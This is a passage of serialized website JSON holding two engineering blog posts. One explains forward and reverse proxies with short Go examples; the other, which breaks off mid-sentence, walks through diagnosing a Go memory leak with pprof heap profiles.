proxies, and show a simple example in Go.",[],{"type":1151,"text":28930,"spans":28931},"Examine reverse proxies, and show a simple example in Go.",[],{"type":1151,"text":28933,"spans":28934},"Summarise the differences and similarities between NATs and proxies, and provide examples of their use cases.",[],"rich_text$2cc2c261-4210-4d67-8636-60f8d3e1383f",{"variation":437,"version":438,"items":28937,"primary":28938,"id":28955,"slice_type":468,"slice_label":5},[],{"body":28939},[28940,28943,28946,28949,28952],{"type":746,"text":28941,"spans":28942},"Forward proxies",[],{"type":25,"text":28944,"spans":28945},"Whereas NAT is implemented at the network-layer (i.e. at the IP layer, beneath TCP), proxies operate at the application-layer (e.g. HTTP). This means that proxies are normally specific to the protocol you intend them to operate on. In the examples below, I'll look at HTTP proxies, although proxies could be used for other protocols as well.",[],{"type":25,"text":28947,"spans":28948},"An HTTP proxy acts an intermediary between the client sending the request, and the server receiving the request. Unlike NAT, which transparently modifies network packets, a proxy accepts and terminates network connections, and then re-transmits requests to the destination.",[],{"type":25,"text":28950,"spans":28951},"This means that, when you make requests via a proxy, the proxy actually accepts and processes the request, before making a new request on your behalf to the downstream server.",[],{"type":25,"text":28953,"spans":28954},"Unlike NAT, this is very easy to illustrate in a simple Go application, because all of the work happens at the application layer. Here's a sample application:",[],"rich_text$b2e0ca71-310e-40ff-bf3f-2a7ed8c8e6c7",{"variation":437,"version":438,"items":28957,"primary":28958,"id":28963,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28959},[28960],{"type":27922,"text":28961,"spans":28962},"package main\n\nimport (\n    \"io\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    \u002F\u002F The proxy handles all HTTP requests.\n    http.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        \u002F\u002F The proxy makes a new request using the same HTTP verb and\n        \u002F\u002F relative URL as the original request. For simplicity, the body\n        \u002F\u002F is excluded, so in practice this would only work for GET\n        \u002F\u002F requests.\n        req, err := http.NewRequest(r.Method, r.RequestURI, nil)\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F The proxy sends a new request, on behalf of the original\n        \u002F\u002F client.\n        res, err := http.DefaultClient.Do(req)\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F The response is read by the proxy.\n        body, err := io.ReadAll(res.Body)\n        if err != nil {\n            panic(err)\n        }\n        defer res.Body.Close()\n\n        \u002F\u002F The contents of the proxied request are then written back\n        \u002F\u002F to the HTTP response of the original client's request.\n        w.WriteHeader(res.StatusCode)\n        w.Write(body)\n    })\n    http.ListenAndServe(\":8080\", nil)\n}",[],"code_block$255fbfa1-8bfe-4d3f-b58e-48122c2814e8",{"variation":437,"version":438,"items":28965,"primary":28966,"id":29001,"slice_type":468,"slice_label":5},[],{"body":28967},[28968,28971,28974,28977,28980,28983,28986,28989,28992,28995,28998],{"type":25,"text":28969,"spans":28970},"This simple example handles all web requests by:",[],{"type":1151,"text":28972,"spans":28973},"Reading the request.",[],{"type":1151,"text":28975,"spans":28976},"Sending a new HTTP request that looks like the one it received.",[],{"type":1151,"text":28978,"spans":28979},"Reading the response to this request.",[],{"type":1151,"text":28981,"spans":28982},"Sending the same response back to the original client.",[],{"type":25,"text":28984,"spans":28985},"In reality, this is a very simple example (it will only work for GET requests among other things). However, it does illustrate the following main points:",[],{"type":1151,"text":28987,"spans":28988},"Network packets are not handled transparently by the proxy.",[],{"type":1151,"text":28990,"spans":28991},"Network traffic is processed at the application layer by the proxy.",[],{"type":1151,"text":28993,"spans":28994},"TCP connections are terminated from the client by the proxy.",[],{"type":1151,"text":28996,"spans":28997},"New connections are made downstream from the proxy to the destination.",[],{"type":25,"text":28999,"spans":29000},"Whilst this is a very different approach to NAT, it does have the same effect of masking the source IP address from the destination server's point of view. Since all requests are re-originated from the proxy, it is the proxy's IP address that will appear as the source IP address, at least at the network layer. Whether or not the same is true at higher levels of the network stack (e.g. in HTTP headers) depends on your implementation, but forward proxies like this can also be used to mask source IP addresses for many of the same reasons as NAT.",[],"rich_text$5575de86-0e6a-4bbd-86f3-4b3cc62e788d",{"variation":437,"version":438,"items":29003,"primary":29004,"id":29017,"slice_type":468,"slice_label":5},[],{"body":29005},[29006,29008,29011,29014],{"type":746,"text":28941,"spans":29007},[],{"type":1151,"text":29009,"spans":29010},"Forward proxies operate at the application-layer.",[],{"type":1151,"text":29012,"spans":29013},"They receive and terminate network-level traffic, e.g. TCP connections.",[],{"type":1151,"text":29015,"spans":29016},"Forward proxies make onward requests on behalf of the original client, so the requests appear to originate from the proxy.",[],"rich_text$00fffbee-5bb8-48fc-a0ce-ecf94c20d5d3",{"variation":437,"version":438,"items":29019,"primary":29020,"id":29037,"slice_type":468,"slice_label":5},[],{"body":29021},[29022,29025,29028,29031,29034],{"type":746,"text":29023,"spans":29024},"Reverse proxies",[],{"type":25,"text":29026,"spans":29027},"A reverse proxy operates in much the same way as a forward proxy, except that the address that is proxied is configured in advance in the proxy, rather than being dynamically based on the client's request.",[],{"type":25,"text":29029,"spans":29030},"When a request is sent to a forward proxy, the request is forwarded on to the original recipient indicated by the client's HTTP request. When a request is sent to a reverse proxy, the proxy decides where to forward the request based on some predetermined configuration.",[],{"type":25,"text":29032,"spans":29033},"This makes reverse proxies useful for presenting a public IP address for a set of private resources, like a set of private, back-end servers.",[],{"type":25,"text":29035,"spans":29036},"This is illustrated in the following simple Golang application:",[],"rich_text$63b9a9c4-c772-4870-8d35-a83d90269a0d",{"variation":437,"version":438,"items":29039,"primary":29040,"id":29045,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29041},[29042],{"type":27922,"text":29043,"spans":29044},"package main\n\nimport (\n    \"io\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    \u002F\u002F The proxy listens for all HTTP traffic.\n    http.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        \u002F\u002F The proxy handles the request by performing a pre-determined action. In\n        \u002F\u002F reality, it is likley to forward the request to another upstream server, \n        \u002F\u002F but in this example it simply makes a request to Google on behalf of\n        \u002F\u002F the original client.\n        req, err := http.NewRequest(http.MethodGet, \"https:\u002F\u002Fwww.google.com\", nil)\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F The proxy makes the request on behalf of the client.\n        res, err := http.DefaultClient.Do(req)\n        if err != nil {\n            panic(err)\n        }\n        defer res.Body.Close()\n\n        \u002F\u002F The proxy copies the contents of the proxied response into\n        \u002F\u002F the response to the original client's request.\n        w.WriteHeader(res.StatusCode)\n        _, err = io.Copy(w, res.Body)\n        if err != nil {\n            panic(err)\n        }\n    })\n    http.ListenAndServe(\":8080\", nil)\n}",[],"code_block$22570b86-ca4e-4464-949b-327d32743912",{"variation":437,"version":438,"items":29047,"primary":29048,"id":29055,"slice_type":468,"slice_label":5},[],{"body":29049},[29050],{"type":25,"text":29051,"spans":29052},"In this example, all requests to the reverse proxy are forwarded to https:\u002F\u002Fwww.google.com. This forwarding URL represents the static configuration that will determine how your proxy will route requests. If I run this example locally, and then curl -v http:\u002F\u002Flocalhost:8080, the Google home page is returned.",[29053,29054],{"start":9232,"end":5497,"type":765},{"start":13578,"end":3049,"type":765},"rich_text$e4ee697e-5253-4f91-9cd8-ba8a4eefc7f4",{"variation":437,"version":438,"items":29057,"primary":29058,"id":29070,"slice_type":468,"slice_label":5},[],{"body":29059},[29060,29062,29065,29067],{"type":746,"text":29023,"spans":29061},[],{"type":1151,"text":29063,"spans":29064},"Reverse proxies operate at the application-layer.",[],{"type":1151,"text":29012,"spans":29066},[],{"type":1151,"text":29068,"spans":29069},"Reverse proxies make onward requests on behalf of the original client according to a set of pre-defined rules.",[],"rich_text$7479b5db-1c02-4a11-a472-59cf862be47e",{"variation":437,"version":527,"items":29072,"primary":29073,"id":29095,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29074,"body":29078,"cta_label":5,"cta_link":29082,"aside_type":533,"aside_image":29083,"aside_video":29090,"aside_video_poster":29091,"aside_video_reduced_motion":29092,"aside_video_url":5,"aside_embed":29093,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29094,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[29075],{"type":746,"text":29076,"spans":29077,"direction":445},"Summary",[],[29079],{"type":25,"text":29080,"spans":29081,"direction":445},"This two-part blog post has described the behaviour and characteristics of Network Address Translation, forward proxies, and reverse proxies. This is summarised below:",[],{"link_type":434},{"dimensions":29084,"alt":5,"copyright":5,"url":29087,"id":29088,"edit":29089},{"width":29085,"height":29086},2066,810,"\u002F_prismic-media\u002F96ae868fe0c0cd2b-D5mgEm-CzvBDvfGY_20cbc123-d4a3-4cd7-ba2b-fda933b.png","D5mgEm-CzvBDvfGY",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$ba9acb31-d594-43a6-a6ac-a9ad64ba2687",{"variation":437,"version":438,"items":29097,"primary":29098,"id":29103,"slice_type":468,"slice_label":5},[],{"body":29099},[29100],{"type":25,"text":29101,"spans":29102},"I hope you found this blog post useful in understanding these three networking techniques in the future, and you now consider them somewhat less mystical!",[],"rich_text$5e5aa4ba-7b62-45e8-99d5-1ae1b9221999",{"id":29105,"uid":29106,"type":25949,"data":29107},"alz07REAAC4AUWb2","how-to-find-and-fix-memory-leaks-in-go-applications",{"title":29108,"excerpt":29109,"card_image":29110,"published_date":29115,"reading_time":2375,"tag":25960,"dek":29109,"featured_image":29116,"about_form3":29123,"client_about_heading":5,"client_about_body":29124,"author_name":5,"author_title":5,"author_photo":29125,"author_bio":29126,"author_linkedin":29127,"slices":29128,"meta_title":29108,"meta_description":29109},"How to find and fix memory leaks in Go applications","Imagine one day you prepare a proof of concept application. You quickly write some code that shows your idea, add tracing and metrics so you can see how it performs, deploy the application to test environment and boom, after running for 1 hour the application restarts with Out Of Memory error. This screams \"memory leak\", but you look into the code and see nothing obvious. You may start thinking that overall restart every hour isn't that bad. If you are thinking like that, I encourage you to keep reading as I'm going to guide you on how to debug and fix memory leaks in Go applications.",{"dimensions":29111,"alt":29108,"copyright":5,"url":29112,"id":29113,"edit":29114},{"width":412,"height":412},"\u002F_prismic-media\u002F3566a164cc3d074a-LUhc-k_Jf09q_3PS_how-to-find-and-fix-memory-leak.png","LUhc-k_Jf09q_3PS",{"x":398,"y":398,"zoom":399,"background":400},"2022-11-24",{"dimensions":29117,"alt":5,"copyright":5,"url":29120,"id":29121,"edit":29122},{"width":29118,"height":29119},3362,1222,"\u002F_prismic-media\u002Ff97084e1f9c2dbbc-pZB8R-_0BZ53jsKQ_9c3fe712-d866-4af0-84b1-32fbc4e.png","pZB8R-_0BZ53jsKQ",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[29129,29189,29215,29223,29247,29260,29268,29291,29299,29320,29328,29336,29347,29355,29377,29395,29403,29415,29423,29445,29462,29474,29482,29514],{"variation":437,"version":438,"items":29130,"primary":29131,"id":29188,"slice_type":468,"slice_label":5},[],{"body":29132},[29133,29135,29141,29145,29149,29153,29158,29162,29169,29174,29178,29182],{"type":988,"text":27908,"spans":29134,"direction":445},[],{"type":25,"text":29136,"spans":29137,"direction":445},"A simple setup that demonstrates the problem can be found on GitHub. It contains docker-compose.yml file with following services:",[29138],{"start":9203,"end":2397,"type":489,"data":29139},{"link_type":491,"url":29140,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002F",{"type":1151,"text":29142,"spans":29143,"direction":445},"prometheus for collecting metrics",[29144],{"start":398,"end":905,"type":765},{"type":1151,"text":29146,"spans":29147,"direction":445},"zipkin for collecting traces",[29148],{"start":398,"end":2375,"type":765},{"type":1151,"text":29150,"spans":29151,"direction":445},"leaker which is a service that contains a memory leak",[29152],{"start":398,"end":2375,"type":765},{"type":1151,"text":29154,"spans":29155,"direction":445},"client which is a script that generates some load against leaker",[29156,29157],{"start":398,"end":2375,"type":765},{"start":9203,"end":4083,"type":765},{"type":25,"text":29159,"spans":29160,"direction":445},"Leaker",[29161],{"start":398,"end":2375,"type":593},{"type":25,"text":29163,"spans":29164,"direction":445},"leaker is a simple gin application that exposes few HTTP endpoints:",[29165,29166],{"start":398,"end":2375,"type":765},{"start":6262,"end":7635,"type":489,"data":29167},{"link_type":491,"url":29168,"target":493},"https:\u002F\u002Fgithub.com\u002Fgin-gonic\u002Fgin",{"type":1151,"text":29170,"spans":29171,"direction":445},"\u002F that always returns \"OK\" is the one that client calls",[29172,29173],{"start":398,"end":399,"type":765},{"start":5136,"end":2868,"type":765},{"type":1151,"text":29175,"spans":29176,"direction":445},"\u002Fmetrics that returns prometheus metrics",[29177],{"start":398,"end":1633,"type":765},{"type":1151,"text":29179,"spans":29180,"direction":445},"debug\u002Fpprof\u002F*profile that returns profiling data (more on that later)",[29181],{"start":398,"end":7460,"type":765},{"type":25,"text":29183,"spans":29184,"direction":445},"Traces are exported to zipkin inside the global middleware added with router.Use. Note, that function passed to router.Use is executed on every request.",[29185,29186,29187],{"start":4023,"end":871,"type":765},{"start":847,"end":3872,"type":765},{"start":12805,"end":5102,"type":765},"rich_text$b2af2449-11e2-4fe4-8dee-620dc39dcbbb",{"variation":437,"version":527,"items":29190,"primary":29191,"id":29214,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29192,"body":29193,"cta_label":5,"cta_link":29205,"aside_type":533,"aside_image":29206,"aside_video":29209,"aside_video_poster":29210,"aside_video_reduced_motion":29211,"aside_video_url":5,"aside_embed":29212,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29213,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29194,29198],{"type":25,"text":29195,"spans":29196,"direction":445},"Running the stack",[29197],{"start":398,"end":6911,"type":593},{"type":25,"text":29199,"spans":29200,"direction":445},"We can just start the whole stack with docker-compose up -d, wait for a few minutes and then visit local prometheus to see a graph similar to the one below",[29201,29202],{"start":4219,"end":592,"type":765},{"start":19482,"end":9222,"type":489,"data":29203},{"link_type":491,"url":29204,"target":493},"http:\u002F\u002Flocalhost:9090\u002Fgraph?g0.expr=go_memstats_heap_alloc_bytes&g0.tab=0&g0.stacked=0&g0.show_exemplars=0&g0.range_input=15m",{"link_type":434},{"dimensions":29207,"alt":5,"copyright":5,"url":29120,"id":29121,"edit":29208},{"width":29118,"height":29119},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$43487853-d86b-4996-8a98-b2f345c52db6",{"variation":437,"version":438,"items":29216,"primary":29217,"id":29222,"slice_type":468,"slice_label":5},[],{"body":29218},[29219],{"type":25,"text":29220,"spans":29221},"We can clearly see something is not right. Our application isn't supposed to have constantly growing in-memory state, but we can clearly see that memory consumption is increasing with every request. In the next sections I'm going to show you the steps needed to identify and fix the issue.",[],"rich_text$6cd3a35c-9434-490e-a1f3-c9243645ee88",{"variation":437,"version":438,"items":29224,"primary":29225,"id":29246,"slice_type":468,"slice_label":5},[],{"body":29226},[29227,29230],{"type":988,"text":29228,"spans":29229,"direction":445},"Introduction to pprof",[],{"type":25,"text":29231,"spans":29232,"direction":445},"Per the documentation, pprof is a tool for visualization and analysis of profiling data. Profile is a gzipped protobuf file in a profile.proto format. What's nice about the format is that it's very generic. It's easy to generate your own profile and then use pprof to visualize and analyse it. For example net\u002Fhttp\u002Fpprof package can be used to analyse CPU profiles, past allocations, holders of contended mutexes and more.",[29233,29236,29239,29242],{"start":4023,"end":9704,"type":489,"data":29234},{"link_type":491,"url":29235,"target":493},"https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fpprof",{"start":4176,"end":3402,"type":489,"data":29237},{"link_type":491,"url":29238,"target":493},"https:\u002F\u002Fdevelopers.google.com\u002Fprotocol-buffers",{"start":15360,"end":13494,"type":489,"data":29240},{"link_type":491,"url":29241,"target":493},"https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fpprof\u002Fblob\u002Fmain\u002Fproto\u002Fprofile.proto",{"start":18656,"end":29243,"type":489,"data":29244},320,{"link_type":491,"url":29245,"target":493},"https:\u002F\u002Fpkg.go.dev\u002Fnet\u002Fhttp\u002Fpprof","rich_text$dfc6f352-f763-4238-bd6c-cd103747853c",{"variation":437,"version":438,"items":29248,"primary":29249,"id":29259,"slice_type":468,"slice_label":5},[],{"body":29250},[29251,29254],{"type":988,"text":29252,"spans":29253,"direction":445},"Instrumenting the application",[],{"type":25,"text":29255,"spans":29256,"direction":445},"But how do we get pprof data from our application? Our sample application is using gin, so we will expose pprof data with it. We will add an endpoint to our router, so our application will be capable of rendering profiles it has collected.",[29257],{"start":28611,"end":5397,"type":489,"data":29258},{"link_type":491,"url":29168,"target":493},"rich_text$8504e684-cc50-4e5f-96cb-8678d05f5835",{"variation":437,"version":438,"items":29261,"primary":29262,"id":29267,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29263},[29264],{"type":27922,"text":29265,"spans":29266},"router.GET(\"\u002Fdebug\u002Fpprof\u002F*profile\", gin.WrapF(pprof.Index))",[],"code_block$34115431-7911-41da-980d-670b90647320",{"variation":437,"version":438,"items":29269,"primary":29270,"id":29290,"slice_type":468,"slice_label":5},[],{"body":29271},[29272,29287],{"type":25,"text":29273,"spans":29274},"note, that \u002Fdebug\u002Fpprof\u002F*profile path is important, as pprof.Index trims the prefix to obtain the profile name. After adding the instrumentation, we can visit http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002F to see list of profiles. In our case we're interested in the heap profile. We can see human readable report under http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap?debug=1.",[29275,29276,29277,29280,29283],{"start":602,"end":5489,"type":765},{"start":3853,"end":14740,"type":765},{"start":2397,"end":4176,"type":489,"data":29278},{"link_type":491,"url":29279,"target":493},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fnet\u002Fhttp\u002Fpprof\u002Fpprof.go;l=368",{"start":2675,"end":19847,"type":489,"data":29281},{"link_type":491,"url":29282,"target":493},"http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002F",{"start":29284,"end":20200,"type":489,"data":29285},308,{"link_type":491,"url":29286,"target":493},"http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap?debug=1",{"type":25,"text":29288,"spans":29289},"Let's stop for a little bit here and just for the sake of curiosity figure out what we see (feel free to skip to the next section if you just want to know how to efficiently analyse a profile). Looking at the first line, you should see something like",[],"rich_text$6b3768e9-b764-4ce6-8046-4a5f75b25ec0",{"variation":437,"version":438,"items":29292,"primary":29293,"id":29298,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29294},[29295],{"type":27922,"text":29296,"spans":29297},"heap profile: 4678: 509744696 [324302: 6210715928] @ heap\u002F1048576",[],"code_block$aea6d969-40ea-48d8-b4ba-fd0802f8adb2",{"variation":437,"version":438,"items":29300,"primary":29301,"id":29319,"slice_type":468,"slice_label":5},[],{"body":29302},[29303,29316],{"type":25,"text":29304,"spans":29305},"I'm going to follow the pprof source code to decipher what each of the values mean. Therefore we have 4678 objects in use, that occupy 509744696 bytes in total. Total number of allocated objects is 324302 and total allocated bytes is 6210715928. heap\u002F1048576 is related to sampling, and 1048576 is actually 2*MemProfileRate. It means, that one allocation sample gets collected every 512KB allocated (so 1048576B \u002F 2). It then can be used to estimate actual, not sampled values.",[29306,29309,29313],{"start":7460,"end":1977,"type":489,"data":29307},{"link_type":491,"url":29308,"target":493},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fruntime\u002Fpprof\u002Fpprof.go;l=596",{"start":29310,"end":3191,"type":489,"data":29311},309,{"link_type":491,"url":29312,"target":493},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fruntime\u002Fmprof.go;drc=2007599dc83aff17d8261338e8d2ab1f2c518a9b;l=587",{"start":793,"end":20315,"type":489,"data":29314},{"link_type":491,"url":29315,"target":493},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fruntime\u002Fpprof\u002Fprotomem.go;drc=2007599dc83aff17d8261338e8d2ab1f2c518a9b;l=78",{"type":25,"text":29317,"spans":29318},"After that we see a list of memory profile records, sorted by total in use bytes. First sample would look similar to",[],"rich_text$f099de0e-30c2-47a8-8eed-d92ee5af2709",{"variation":437,"version":438,"items":29321,"primary":29322,"id":29327,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29323},[29324],{"type":27922,"text":29325,"spans":29326},"1: 505380864 [1: 505380864] @ 0x56fe60 0x59a928 0x59a540 0x5b67fc 0x4936d4 0x4933ad 0x492fa0 0x289868 0x284f50 0x7cc64\n#\t0x56fe5f\tgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal.(*siInstProvider).Counter+0x17f\t\t\t\u002Fapp\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go:327\n#\t0x59a927\tgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp.(*Handler).createMeasures+0xb7\t\u002Fapp\u002Fvendor\u002Fgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp\u002Fhandler.go:101\n#\t0x59a53f\tgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp.NewHandler+0x38f\t\t\t\u002Fapp\u002Fvendor\u002Fgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp\u002Fhandler.go:75\n#\t0x5b67fb\tmain.main.func1+0xbb\t\t\t\t\t\t\t\t\t\t\u002Fapp\u002Fmain.go:42\n#\t0x4936d3\tgithub.com\u002Fgin-gonic\u002Fgin.(*Context).Next+0x573\t\t\t\t\t\t\t\u002Fapp\u002Fvendor\u002Fgithub.com\u002Fgin-gonic\u002Fgin\u002Fcontext.go:173\n#\t0x4933ac\tgithub.com\u002Fgin-gonic\u002Fgin.(*Engine).handleHTTPRequest+0x24c\t\t\t\t\t\u002Fapp\u002Fvendor\u002Fgithub.com\u002Fgin-gonic\u002Fgin\u002Fgin.go:616\n#\t0x492f9f\tgithub.com\u002Fgin-gonic\u002Fgin.(*Engine).ServeHTTP+0x1ff\t\t\t\t\t\t\u002Fapp\u002Fvendor\u002Fgithub.com\u002Fgin-gonic\u002Fgin\u002Fgin.go:572\n#\t0x289867\tnet\u002Fhttp.serverHandler.ServeHTTP+0x407\t\t\t\t\t\t\t\t\u002Fusr\u002Flocal\u002Fgo\u002Fsrc\u002Fnet\u002Fhttp\u002Fserver.go:2916\n#\t0x284f4f\tnet\u002Fhttp.(*conn).serve+0x54f\t\t\t\t\t\t\t\t\t\u002Fusr\u002Flocal\u002Fgo\u002Fsrc\u002Fnet\u002Fhttp\u002Fserver.go:1966",[],"code_block$22a63d86-54ce-4a6b-ab5a-c060098625ae",{"variation":437,"version":438,"items":29329,"primary":29330,"id":29335,"slice_type":468,"slice_label":5},[],{"body":29331},[29332],{"type":25,"text":29333,"spans":29334},"We can notice that there is 1 in use object, occupying 505380864 bytes (it's subject to sampling described above, so it's not an actual value!). There was only 1 object allocated with total allocated bytes of 505380864 (again, subject to sampling). Then the allocation stack trace follows so we can better understand where the allocations come from.",[],"rich_text$cc236a19-b3ab-406d-ba5f-5752ea6244c5",{"variation":437,"version":438,"items":29337,"primary":29338,"id":29346,"slice_type":468,"slice_label":5},[],{"body":29339},[29340,29343],{"type":988,"text":29341,"spans":29342,"direction":445},"Interpreting the results",[],{"type":25,"text":29344,"spans":29345,"direction":445},"While for our simple use case report from the previous section would most likely be enough, it's still worth to know how to present it in more human readable way so we know how to handle real world scenarios as well. To display the report in a browser, we can run",[],"rich_text$282f8b0e-ac1d-4511-97be-34871019a2a2",{"variation":437,"version":438,"items":29348,"primary":29349,"id":29354,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29350},[29351],{"type":27922,"text":29352,"spans":29353},"pprof -web http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap",[],"code_block$1496002c-eb8c-46f7-b42d-a2764b11ea5e",{"variation":437,"version":527,"items":29356,"primary":29357,"id":29376,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29358,"body":29359,"cta_label":5,"cta_link":29363,"aside_type":533,"aside_image":29364,"aside_video":29371,"aside_video_poster":29372,"aside_video_reduced_motion":29373,"aside_video_url":5,"aside_embed":29374,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29375,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29360],{"type":25,"text":29361,"spans":29362,"direction":445},"which would show report similar to the one below.",[],{"link_type":434},{"dimensions":29365,"alt":5,"copyright":5,"url":29368,"id":29369,"edit":29370},{"width":29366,"height":29367},1522,1244,"\u002F_prismic-media\u002Fdd0e1a354db7c078-YzzqGZJoDS33rNWI_8783c498-6a1d-4598-948b-cc1df13.png","YzzqGZJoDS33rNWI",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$f6b885c2-677a-4439-9650-6edba12bcce2",{"variation":437,"version":438,"items":29378,"primary":29379,"id":29394,"slice_type":468,"slice_label":5},[],{"body":29380},[29381],{"type":25,"text":29382,"spans":29383},"It contains everything we need, including the instruction how to read the graph. When searching for memory leaks we would focus on red nodes (so ones with large cumulative values). We would follow thick red edges (so ones that have large amount of resources created) and stop on nodes with larger font size (so ones that have large flat values). Note, that pprof is quite smart in terms of what to present on the graph, therefore your graph may contain considerably fewer nodes (i.e. only relevant red ones). You can show more nodes with",[29384,29387,29388,29389,29392],{"start":1486,"end":3084,"type":489,"data":29385},{"link_type":491,"url":29386,"target":493},"https:\u002F\u002Fgit.io\u002FJfYMW",{"start":4105,"end":19450,"type":593},{"start":3304,"end":25008,"type":593},{"start":29390,"end":29391,"type":593},279,307,{"start":9057,"end":29393,"type":765},362,"rich_text$40a81c8a-218e-424d-8deb-8be5ce69199f",{"variation":437,"version":438,"items":29396,"primary":29397,"id":29402,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29398},[29399],{"type":27922,"text":29400,"spans":29401},"pprof -web -nodefraction=0 http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap",[],"code_block$bde5a4dc-7fd2-4e51-aa2f-1e85a6f5d896",{"variation":437,"version":438,"items":29404,"primary":29405,"id":29414,"slice_type":468,"slice_label":5},[],{"body":29406},[29407],{"type":25,"text":29408,"spans":29409},"From the graph we can conclude, that we should look at global (*siInstProvider) Counter first. Problem is that, in larger functions it may not be obvious which allocation is the actual memory leak, so we can improve our graph a little bit. We would reduce noise and only show samples going through createMeasures node (as this is the ancestor of nodes with the largest flat values). We would also aggregate by source code line level, so that we can get precise source code locations. Therefore, the command would evolve to:",[29410,29411],{"start":1029,"end":2224,"type":765},{"start":29412,"end":29413,"type":765},298,312,"rich_text$cc6c7fb0-a86f-484f-a456-0a933d275295",{"variation":437,"version":438,"items":29416,"primary":29417,"id":29422,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29418},[29419],{"type":27922,"text":29420,"spans":29421},"pprof -web -focus=createMeasures -lines http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap",[],"code_block$ace64f9e-e4f7-4f61-9e85-05af37bfc3e7",{"variation":437,"version":527,"items":29424,"primary":29425,"id":29444,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29426,"body":29427,"cta_label":5,"cta_link":29431,"aside_type":533,"aside_image":29432,"aside_video":29439,"aside_video_poster":29440,"aside_video_reduced_motion":29441,"aside_video_url":5,"aside_embed":29442,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29443,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29428],{"type":25,"text":29429,"spans":29430,"direction":445},"This would open a graph similar to the one below.",[],{"link_type":434},{"dimensions":29433,"alt":5,"copyright":5,"url":29436,"id":29437,"edit":29438},{"width":29434,"height":29435},879,924,"\u002F_prismic-media\u002F3855aae5c88181bc-g3EZkiAwaUVmDUpp_84a00a16-def3-43bd-bcbd-afc056e.png","g3EZkiAwaUVmDUpp",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$42a25a5e-6456-4d59-9b2d-038f1809a043",{"variation":437,"version":438,"items":29446,"primary":29447,"id":29461,"slice_type":468,"slice_label":5},[],{"body":29448},[29449],{"type":25,"text":29450,"spans":29451},"We can hover on a node to find out precise location of where allocation occurs. We are interested in 3 nodes with the largest fonts, pointing to 1, 2 and 3 